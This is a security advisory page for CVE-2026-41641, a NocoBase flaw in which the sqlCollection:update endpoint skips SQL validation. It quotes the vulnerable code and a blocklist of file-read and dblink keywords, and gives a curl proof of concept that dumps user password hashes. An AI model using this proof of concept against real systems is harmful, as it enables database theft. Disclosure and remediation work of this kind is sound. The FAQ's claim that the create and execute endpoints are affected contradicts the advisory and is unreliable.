CVE-2026-41641: NocoBase Vulnerable to SQL Validation Bypass via `sqlCollection:update` Missing `checkSQL` Call

Published Apr 22, 2026
·
Updated

Summary

The checkSQL() validation function that blocks dangerous SQL keywords (e.g., pgreadfile, LOADFILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data.

Affected component: @nocobase/plugin-collection-sql Affected versions: <= 2.0.32 (confirmed) Minimum privilege: Collection management permissions (pm.data-source-manager.collection-sql snippet)

Vulnerable Code

checkSQL is applied on create and execute

packages/plugins/@nocobase/plugin-collection-sql/src/server/resources/sql.ts

javascript // Line 51-60 — execute action: checkSQL IS called execute: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } // ... }

checkSQL is NOT applied on update

javascript // Line 105-118 — update action: checkSQL IS NOT called update: async (ctx: Context, next: Next) => { const transaction = await ctx.app.db.sequelize.transaction(); try { const { upRes } = await updateCollection(ctx, transaction); // No checkSQL() call anywhere in this path! const [collection] = upRes; await collection.load({ transaction, resetFields: true }); await transaction.commit(); } // ... }

The checkSQL function itself

packages/plugins/@nocobase/plugin-collection-sql/src/server/utils.ts:10-28

javascript export const checkSQL = (sql: string) => { const dangerKeywords = [ 'pgreadfile', 'pgwritefile', 'pglsdir', 'LOADFILE', 'INTO OUTFILE', 'INTO DUMPFILE', 'dblink', 'loimport', // ... ]; sql = sql.trim().split(';').shift(); if (!/^select/i.test(sql) && !/^with([\s\S]+)select([\s\S]+)/i.test(sql)) { throw new Error('Only supports SELECT statements or WITH clauses'); } if (dangerKeywords.some((keyword) => sql.toLowerCase().includes(keyword.toLowerCase()))) { throw new Error('SQL statements contain dangerous keywords'); } };

PoC

bash TOKEN="<adminjwttoken>"

Step 1: Create collection with valid SQL (passes checkSQL) curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "name": "exfilcollection", "sql": "SELECT 1 as id", "fields": [{"name": "id", "type": "integer"}], "template": "sql" }'

Step 2: Verify checkSQL blocks dangerous SQL on create curl -s http://TARGET:13000/api/collections:create \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{"name": "blocked", "sql": "SELECT pgreadfile('\''/etc/passwd'\'')", "fields": [], "template": "sql"}' Returns: 400 "SQL statements contain dangerous keywords"

Step 3: Update with dangerous SQL — bypasses checkSQL entirely curl -s "http://TARGET:13000/api/sqlCollection:update?filterByTk=exfilcollection" \ -X POST \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "sql": "SELECT FROM users", "fields": [ {"name": "id", "type": "integer"}, {"name": "email", "type": "string"}, {"name": "password", "type": "string"} ] }' Returns: 200 OK — no validation!

Step 4: Query the collection to exfiltrate data curl -s "http://TARGET:13000/api/exfilcollection:list" \ -H "Authorization: Bearer $TOKEN" Returns: all rows from users table including password hashes

Impact

- Confidentiality: Arbitrary SELECT queries exfiltrate any table. Confirmed dump of the users table including password hashes. - Integrity/Availability: Although checkSQL strips after the first semicolon, dangerous single-statement operations like SELECT ... INTO, subqueries with side effects, or database-specific functions (pgreadfile, LOADFILE, dblink) are all accessible through the update bypass. - Privilege escalation: On PostgreSQL, dblink enables lateral movement to other databases. pgreadfile reads arbitrary files from the database server filesystem.

Fix Suggestion

1. Add checkSQL() to the update action. The one-line fix: javascript update: async (ctx: Context, next: Next) => { const { sql } = ctx.action.params.values || {}; if (sql) { try { checkSQL(sql); } catch (e) { ctx.throw(400, ctx.t(e.message)); } } // ... existing code ... }

2. Centralize validation in middleware rather than per-action. Apply checkSQL in the resource middleware for any action that accepts a sql field, so future actions cannot accidentally skip it.

3. Strengthen the blocklist. The current list is missing COPY (PostgreSQL file I/O and RCE), CREATE, ALTER, DROP, GRANT, SET, and EXECUTE. Consider switching to a parser-based allowlist that only permits SELECT and WITH ... SELECT at the AST level rather than relying on keyword blocklisting.

Other sources

NocoBase is an AI-powered no-code/low-code platform for building business applications and enterprise solutions. Prior to version 2.0.39, the checkSQL() validation function that blocks dangerous SQL keywords (e.g., pgreadfile, LOADFILE, dblink) is applied on the collections:create and sqlCollection:execute endpoints but is entirely missing on the sqlCollection:update endpoint. An attacker with collection management permissions can create a SQL collection with benign SQL, then update it with arbitrary SQL that bypasses all validation, and query the collection to execute the injected SQL and exfiltrate data. This issue has been patched in version 2.0.39.

MITRE

Affected Software

2 affected componentsFixes available
npm/@nocobase/plugin-collection-sql<2.0.39
2.0.39
NocoBase NocoBase<2.0.39

Event History

Apr 22, 2026
Advisory Published
via GitHub·08:07 PM
Data Sourced
via GitHub·08:07 PM
DescriptionSeverityWeaknessAffected Software
May 7, 2026
CVE Published
via MITRE·04:13 AM
Data Sourced
via MITRE·04:13 AM
DescriptionSeverityWeakness
Data Sourced
via NVD·06:16 AM
RemedyDescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

What is the severity of CVE-2026-41641?

CVE-2026-41641 has a critical severity due to the missing validation on the sqlCollection:update endpoint which can allow SQL injection attacks.

2

How do I fix CVE-2026-41641?

To fix CVE-2026-41641, update the @nocobase/plugin-collection-sql package to version 2.0.39 or later.

3

What endpoints are affected by CVE-2026-41641?

CVE-2026-41641 affects the sqlCollection:update endpoint, among others like collections:create and sqlCollection:execute.

4

What kind of attacks can be executed through CVE-2026-41641?

An attacker could exploit CVE-2026-41641 to perform SQL injection attacks, gaining unauthorized access to the database.

5

Is there a workaround for CVE-2026-41641 before applying a fix?

As a temporary measure, restricting access to the sqlCollection:update endpoint can mitigate the risk of CVE-2026-41641 until a fix is applied.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203